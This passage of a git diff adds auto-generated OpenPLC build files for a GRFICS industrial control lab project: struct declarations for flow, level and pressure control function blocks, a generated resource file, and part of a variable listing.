__DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; 